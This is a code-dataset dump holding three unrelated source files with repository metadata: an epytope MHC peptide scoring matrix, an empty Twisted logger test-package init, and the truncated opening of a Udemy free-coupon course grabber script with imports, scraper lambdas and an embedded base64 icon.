89315190bfdcdcfb6c158cc923ec6b6c22fdb913 | 2,802 | py | Python | epytope/Data/pssms/smmpmbec/mat/A_02_01_11.py | christopher-mohr/epytope | 8ac9fe52c0b263bdb03235a5a6dffcb72012a4fd | [
"BSD-3-Clause"
] | 7 | 2021-02-01T18:11:28.000Z | 2022-01-31T19:14:07.000Z | epytope/Data/pssms/smmpmbec/mat/A_02_01_11.py | christopher-mohr/epytope | 8ac9fe52c0b263bdb03235a5a6dffcb72012a4fd | [
"BSD-3-Clause"
] | 22 | 2021-01-02T15:25:23.000Z | 2022-03-14T11:32:53.000Z | epytope/Data/pssms/smmpmbec/mat/A_02_01_11.py | christopher-mohr/epytope | 8ac9fe52c0b263bdb03235a5a6dffcb72012a4fd | [
"BSD-3-Clause"
] | 4 | 2021-05-28T08:50:38.000Z | 2022-03-14T11:45:32.000Z | A_02_01_11 = {0: {'A': -0.106, 'C': 0.046, 'E': 0.163, 'D': 0.213, 'G': -0.049, 'F': -0.142, 'I': -0.071, 'H': -0.053, 'K': -0.193, 'M': -0.068, 'L': -0.011, 'N': 0.153, 'Q': -0.093, 'P': 0.234, 'S': 0.02, 'R': -0.091, 'T': 0.104, 'W': -0.053, 'V': 0.082, 'Y': -0.085}, 1: {'A': 0.607, 'C': 0.088, 'E': 0.22, 'D': 0.315, 'G': 0.175, 'F': -0.194, 'I': -0.4, 'H': -0.071, 'K': 0.025, 'M': -0.729, 'L': -0.503, 'N': -0.129, 'Q': -0.035, 'P': 0.53, 'S': 0.082, 'R': 0.205, 'T': 0.283, 'W': -0.309, 'V': 0.011, 'Y': -0.172}, 2: {'A': 0.007, 'C': -0.051, 'E': 0.049, 'D': 0.07, 'G': 0.244, 'F': -0.334, 'I': -0.644, 'H': 0.191, 'K': 0.319, 'M': -0.473, 'L': -0.472, 'N': 0.06, 'Q': 0.18, 'P': 0.19, 'S': 0.268, 'R': 0.584, 'T': 0.119, 'W': -0.102, 'V': -0.31, 'Y': 0.107}, 3: {'A': -0.697, 'C': -0.192, 'E': -0.691, 'D': -0.314, 'G': -0.181, 'F': -0.085, 'I': -0.026, 'H': 0.471, 'K': 0.132, 'M': 0.494, 'L': 0.083, 'N': 0.105, 'Q': 0.029, 'P': -0.645, 'S': 0.216, 'R': 0.396, 'T': 0.155, 'W': 0.285, 'V': 0.217, 'Y': 0.249}, 4: {'A': 0.022, 'C': 0.006, 'E': 0.006, 'D': 0.016, 'G': -0.003, 'F': -0.009, 'I': 0.003, 'H': -0.012, 'K': -0.005, 'M': -0.02, 'L': -0.012, 'N': -0.017, 'Q': -0.0, 'P': 0.035, 'S': 0.003, 'R': -0.011, 'T': 0.007, 'W': -0.002, 'V': 0.008, 'Y': -0.013}, 5: {'A': -0.024, 'C': 0.007, 'E': 0.02, 'D': 0.021, 'G': 0.007, 'F': 0.025, 'I': -0.034, 'H': 0.019, 'K': 0.006, 'M': 0.002, 'L': -0.01, 'N': 0.009, 'Q': 0.009, 'P': -0.002, 'S': -0.007, 'R': 0.014, 'T': -0.03, 'W': 0.006, 'V': -0.047, 'Y': 0.011}, 6: {'A': 0.273, 'C': 0.179, 'E': 0.048, 'D': 0.47, 'G': -0.013, 'F': -0.223, 'I': -0.568, 'H': -0.191, 'K': 0.137, 'M': 0.036, 'L': -0.659, 'N': 0.214, 'Q': 0.172, 'P': 0.185, 'S': 0.002, 'R': 0.551, 'T': -0.042, 'W': 0.15, 'V': -0.432, 'Y': -0.289}, 7: {'A': 0.044, 'C': -0.022, 'E': -0.038, 'D': -0.015, 'G': 0.035, 'F': -0.028, 'I': -0.073, 'H': 0.054, 'K': 0.101, 'M': -0.037, 'L': -0.112, 'N': -0.028, 'Q': -0.03, 'P': -0.042, 'S': 0.039, 'R': 0.132, 'T': 0.021, 'W': -0.017, 'V': -0.036, 'Y': 0.054}, 8: {'A': 0.064, 'C': 0.042, 'E': 0.048, 'D': 0.051, 'G': 0.068, 'F': -0.104, 'I': -0.209, 'H': 0.051, 'K': 0.101, 'M': -0.115, 'L': -0.166, 'N': -0.004, 'Q': 0.026, 'P': 0.014, 'S': 0.062, 'R': 0.111, 'T': 0.036, 'W': -0.015, 'V': -0.063, 'Y': 0.001}, 9: {'A': 0.186, 'C': 0.042, 'E': -0.148, 'D': -0.032, 'G': 0.011, 'F': 0.058, 'I': -0.025, 'H': 0.022, 'K': 0.03, 'M': 0.095, 'L': -0.0, 'N': 0.12, 'Q': -0.019, 'P': -0.215, 'S': 0.114, 'R': -0.01, 'T': 0.029, 'W': -0.053, 'V': 0.078, 'Y': -0.284}, 10: {'A': -0.232, 'C': 0.135, 'E': 0.071, 'D': 0.111, 'G': 0.036, 'F': -0.174, 'I': -0.817, 'H': 0.474, 'K': 0.552, 'M': -0.079, 'L': -0.307, 'N': 0.185, 'Q': 0.2, 'P': -0.032, 'S': 0.049, 'R': 0.786, 'T': -0.272, 'W': 0.166, 'V': -0.913, 'Y': 0.06}, -1: {'con': 4.25318}} | 2,802 | 2,802 | 0.394361 | 679 | 2,802 | 1.622975 | 0.268041 | 0.019964 | 0.009074 | 0.010889 | 0.061706 | 0 | 0 | 0 | 0 | 0 | 0 | 0.374095 | 0.162384 | 2,802 | 1 | 2,802 | 2,802 | 0.095441 | 0 | 0 | 0 | 0 | 0 | 0.079558 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
8935044c372023ab7a5715699a0810d87959f917 | 175 | py | Python | twisted/python/logger/test/__init__.py | ioggstream/twisted | 34f9b1e3f097685839000c656332c66ee85be5d8 | [
"Unlicense",
"MIT"
] | null | null | null | twisted/python/logger/test/__init__.py | ioggstream/twisted | 34f9b1e3f097685839000c656332c66ee85be5d8 | [
"Unlicense",
"MIT"
] | null | null | null | twisted/python/logger/test/__init__.py | ioggstream/twisted | 34f9b1e3f097685839000c656332c66ee85be5d8 | [
"Unlicense",
"MIT"
] | null | null | null | # -*- test-case-name: twisted.python.logger.test -*-
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.
"""
Unit tests for L{twisted.python.logger}.
"""
| 21.875 | 52 | 0.697143 | 23 | 175 | 5.304348 | 0.73913 | 0.213115 | 0.311475 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.131429 | 175 | 7 | 53 | 25 | 0.802632 | 0.914286 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
89a5dee930a944c75600e7f71ae9415dbb4de4b1 | 103,799 | py | Python | udemy.py | danasegarane/Udemy-Course-Grabber | 33985ca4fd45e956c6c88c0f995ca71ac9aef1c2 | [
"MIT"
] | null | null | null | udemy.py | danasegarane/Udemy-Course-Grabber | 33985ca4fd45e956c6c88c0f995ca71ac9aef1c2 | [
"MIT"
] | null | null | null | udemy.py | danasegarane/Udemy-Course-Grabber | 33985ca4fd45e956c6c88c0f995ca71ac9aef1c2 | [
"MIT"
] | null | null | null | import json
import os
import random
import re
#!/usr/bin/python3
import webbrowser
import threading
import multiprocessing
import time
from urllib.parse import parse_qs, urlsplit
import browser_cookie3
import PySimpleGUI as sg
import requests
import urllib3
from bs4 import BeautifulSoup
from pack.constants import CHECKOUT, all_site_range, all_sites
from pack.functions import *
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
all_func_list = [
lambda page : comidoc(page),
lambda page : discudemy(page),
lambda page : udemy_freebies(page),
lambda page : udemy_coupons_me(page),
lambda page : real_disc(page),
lambda page : tricksinfo(page),
lambda page : freewebcart(page),
lambda page : course_mania(page),
]
thread = True
sg.set_global_icon(b'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